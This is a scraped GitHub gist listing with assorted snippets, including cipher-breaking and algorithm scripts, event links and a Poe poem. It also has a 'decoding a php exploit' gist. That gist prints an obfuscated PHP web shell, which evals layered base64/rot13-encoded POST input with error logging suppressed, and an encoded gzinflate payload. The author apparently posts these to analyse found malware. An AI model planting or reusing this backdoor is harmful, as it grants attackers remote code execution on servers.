Skip to content

Instantly share code, notes, and snippets.

View silveira's full-sized avatar

Silveira Neto silveira

View GitHub Profile
@silveira
silveira / gist:5801632
Last active December 18, 2015 14:59
for those outside of Brazil
PARIS https://www.facebook.com/events/147318595459350/
VALENCIA https://www.facebook.com/events/136456916554894/
MADRID https://www.facebook.com/events/625940557418200/
LONDRES https://www.facebook.com/events/183382041822867/
LISBOA https://www.facebook.com/events/131690073703767/
BERLIM https://www.facebook.com/events/165396716966531/
TURIM https://www.facebook.com/events/261371487339249/
COIMBRA https://www.facebook.com/events/200661703420881/
DEN HAAG https://www.facebook.com/events/363696367086327/
PORTO http://www.facebook.com/events/645859998777392/
@silveira
silveira / the_raven_by_edgar_allan_poe
Created May 2, 2013 18:04
The Raven by Edgar Allan Poe. Because sometimes lorem ipsum is not enough.
Once upon a midnight dreary, while I pondered, weak and weary,
Over many a quaint and curious volume of forgotten lore—
While I nodded, nearly napping, suddenly there came a tapping,
As of some one gently rapping—rapping at my chamber door.
"'Tis some visitor," I muttered, "tapping at my chamber door—
Only this and nothing more."
Ah, distinctly I remember, it was in the bleak December,
And each separate dying ember wrought its ghost upon the floor.
Eagerly I wished the morrow;—vainly I had sought to borrow
From my books surcease of sorrow—sorrow for the lost Lenore—
@silveira
silveira / gist:4755078
Created February 11, 2013 15:21
WIP. trying to decrypt this...
001101101000010111101110001110
001011110110011100111000000011
000011001011000101100100000000
001111010001101011110011110011
001111001111011100000100000010
001001100111011000010000001110
000010011001011001000000010111
000110011101001100001110101110
000110010010001000110111111010
<?php
@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);
if (isset($_GET['r']))
{
print $_GET['r'];
} elseif (isset($_POST['e'])) {
eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
@silveira
silveira / decode_a_exploit.php
Created February 1, 2013 19:39
decoding a php exploit
$code = gzinflate(base64_decode("DZVHDqwIAkPv0qv/xQKKjEa9IOec2bTIOaeC00/dwLbs5/JKhz/1207VkB7lnyzdSxz9ryjzuSj//MMlgbDtvlzX3gWt+1qG/NhFS5NsaRUX+qMThmWBpCzmm6ypFASoFQCvfQqtFqlAF9LvHBBgHhYpHgjKhVVdMnICPQk/LTSetpe/w2Fur+PgZseuerkmcZZ0jEKjd0k7WLL6KVefJyPjhztLi7AuHOyNkNDkveRUrVTvKuUAGgSZVHBIQzz5L5+1p6nZc6IF4Z6e8MYNy9VKRXReWIK6/swk6Y5laXNjRuZKqb2ctaFkho83eySK0T361+EiN0Xdy9xnPjHjmqRt+myumN2rdaZej6+eBSSApvmInHbsUNcMCPsp4q/4pC2RRd5IcxGUuDQXj7kF4yuyOVU/+qVvTduEQXjAkTlBlSCgW6cFQu6MilOhXUasWgjDbgDnOSoYq0V1kLyJQdjNigiIM2iAl5DlEgSjJpaIR85mYzKLsWwDj+YFjqyHpKDZ6fY1hd3JRABdfg0Hwe9dhTGQ0rQn2j/2VwUBy3O3dQ4hdfAqkqh6b6NmX/0eZV8Ki4AyginkigpU59BwyB75RFkvm6uJIEBdSaoD1MNeECFyL0C7zCYqBkMfIZmlHZHm6YbD+XddXBWkGtqqTljf3zUEBhbGjWl54cBU12ZFdBlmuk/F4gNuaB6txoNNfRDs7hM9DdK8ctULOqVWeTC/CJczXG30JuOx9hrmo+QQ/llHfq4amTbo1HEgnRWnvaw5bHX2T0K1IogO/ShXgBSCObVqeYqe9/AdPX2Q4fSqLEjt0vO0I40AzJxLE5JasHzdpMEfVWb7FqPWFZ09RsbcxTDdViHnBiYr63cT57oea1X6MRxf38OJV+I4svOStSxLP7Ou5RfqWx33SqtVYkSSLRbIYDWDwr7DJ5rT02M+zUIdOWBVxIJqfsKCmxUIKPi2NX6XWsQwfAdTG85w2A5nmf1ZzVi
#!/usr/bin/env python
# Tries to decrypt a Caesar cipher without the key.
# Uses brute force and compare the results against the English letter frequency.
# Letters in the English alphabet
LETTERS = 26
# Frequency per letter in the English alphabet
english = {
'a': 0.082, 'b': 0.015, 'c': 0.028, 'd': 0.043, 'e': 0.127, 'f': 0.022,
(((((((((((
(((((((((()
((((((((()(
((((((((())
(((((((()((
(((((((()()
(((((((())(
(((((((()))
((((((()(((
((((((()(()
#!/usr/bin/env python
counter = 0
def parentheses(symbol='(', depth=0, n=5):
global counter
counter += 1
if(depth<n*2):
parentheses(symbol+'(', depth+1, n)
parentheses(symbol+')', depth+1, n)
#!/usr/bin/env python
"""
Problem: merge k sorted lists of size up to n.
Solution: two approaches, functions merge_and_sort and merge_many.
"""
"""
A trivial solution, put all lists together and sort it.
Time complexity: O(log(nk))
@silveira
silveira / tree_substitution.py
Created March 9, 2012 02:44
Substitutions in a phylogenetic tree file (http://silveiraneto.net/?p=4073)
#!/usr/bin/env python
import csv
import sys
# check parameters
if len(sys.argv) < 2:
sys.exit('Usage: %s TREE_FILE ID_FILE' % sys.argv[0])
# initiates the tree